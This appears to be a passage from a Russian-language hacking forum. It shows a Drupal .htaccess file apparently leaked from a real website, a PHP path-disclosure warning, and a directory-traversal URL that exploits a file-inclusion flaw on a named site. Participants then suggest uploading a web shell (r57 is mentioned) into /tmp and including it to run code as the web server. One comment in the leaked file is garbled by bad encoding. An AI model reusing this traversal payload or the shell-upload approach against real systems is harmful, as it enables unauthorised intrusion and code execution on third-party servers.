#Action phpcgi-script /cgi-bin/php #AddHandler phpcgi-script .php # # Apache/PHP/Drupal settings: # # Protect files and directories from prying eyes. Order allow,deny # Don't show directory listings for URLs which map to a directory. Options -Indexes # Follow symbolic links in this directory. Options +FollowSymLinks # Set the default handler. DirectoryIndex index.php # ▌║Ю═║═БК╒═БЛ html Д═╘╚К ╙═╙ php. AddType application/x-httpd-php .htm .html .php # Override PHP settings. More in sites/default/settings.php # but the following cannot be changed at runtime. # PHP 4, Apache 1. php_value magic_quotes_gpc 0 php_value register_globals 0 php_value session.auto_start 0 php_value mbstring.http_input pass php_value mbstring.http_output pass php_value mbstring.encoding_translation 0 # PHP 4, Apache 2. php_value magic_quotes_gpc 0 php_value register_globals 0 php_value session.auto_start 0 php_value mbstring.http_input pass php_value mbstring.http_output pass php_value mbstring.encoding_translation 0 # PHP 5, Apache 1 and 2. # # php_value magic_quotes_gpc 0 # php_value register_globals 0 # php_value session.auto_start 0 # php_value mbstring.http_input pass # php_value mbstring.http_output pass # php_value mbstring.encoding_translation 0 # # Requires mod_expires to be enabled. # Enable expirations. ExpiresActive On # Cache all files for 2 weeks after access (A). ExpiresDefault A1209600 # Do not cache dynamically generated pages. ExpiresByType text/html A1 # Various rewrite rules. RewriteEngine on # If your site can be accessed both with and without the 'www.' prefix, you # can use one of the following settings to redirect users to your preferred # URL, either WITH or WITHOUT the 'www.' prefix. Choose ONLY one option: # # To redirect all users to access the site WITH the 'www.' prefix, # (http://example.com/... will be redirected to http://www.example.com/...) # adapt and uncomment the following: # RewriteCond %{HTTP_HOST} ^example\.com$ [NC] # RewriteRule ^(.*)$ http://www.example.com/$1 [L,R=301] # # To redirect all users to access the site WITHOUT the 'www.' prefix, # (http://www.example.com/... will be redirected to http://example.com/...) # uncomment and adapt the following: # RewriteCond %{HTTP_HOST} ^www\.example\.com$ [NC] # RewriteRule ^(.*)$ http://example.com/$1 [L,R=301] # Modify the RewriteBase if you are using Drupal in a subdirectory or in a # VirtualDocumentRoot and the rewrite rules are not working properly. # For example if your site is at http://example.com/drupal uncomment and # modify the following line: # RewriteBase /drupal # # If your site is running in a VirtualDocumentRoot at http://example.com/, # uncomment the following line: # RewriteBase / # Rewrite URLs of the form 'index.php?q=x'. # Customized error messages. RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ err404.php?q=$1 [L,QSA] # ErrorDocument 404 /err404.php # RewriteRule ^(.*)$ index.php?q=$1 [L,QSA] # $Id: .htaccess,v 1.90 2007/10/05 14:43:23 dries Exp $ AddDefaultCharset koi8-r php_value display_errors onWarning: file_exists() [function.file-exists]: open_basedir restriction in effect. File(/home/httpd/vhosts/rus-linux.net/httpdocs/../) is not within the allowed path(s): (/home/httpd/vhosts/rus-linux.net/httpdocs:/tmp) in /home/httpd/vhosts/rus-linux.net/httpdocs/nlib.php on line 112rus-linux.net/main.php?name=../../../../../../home/httpd/vhosts/vip-warez.net/httpdocs/robotx.txtТебя не заинтересовало что вроде как из темпа можно инклюдить? Залей в темп шелл и вуаля
интересно, в чем же тогда смысл локального инклуда при наличии RFI и возможности залить тот же r57?
Заключается в исполнении своего кода от имени вебсервера
Ну вот файлы в папочке /tmp не являются доступными для исполнения через веб. Юморист.дадада. вот ты меня правильно понял :P
, имхо, при взломе ... ну собственно это и не важно.Ты знаешь что это? Ну так по секрету под большим хайдом как обычно может поделишься?
(будь проще, не принимай все в штыки)
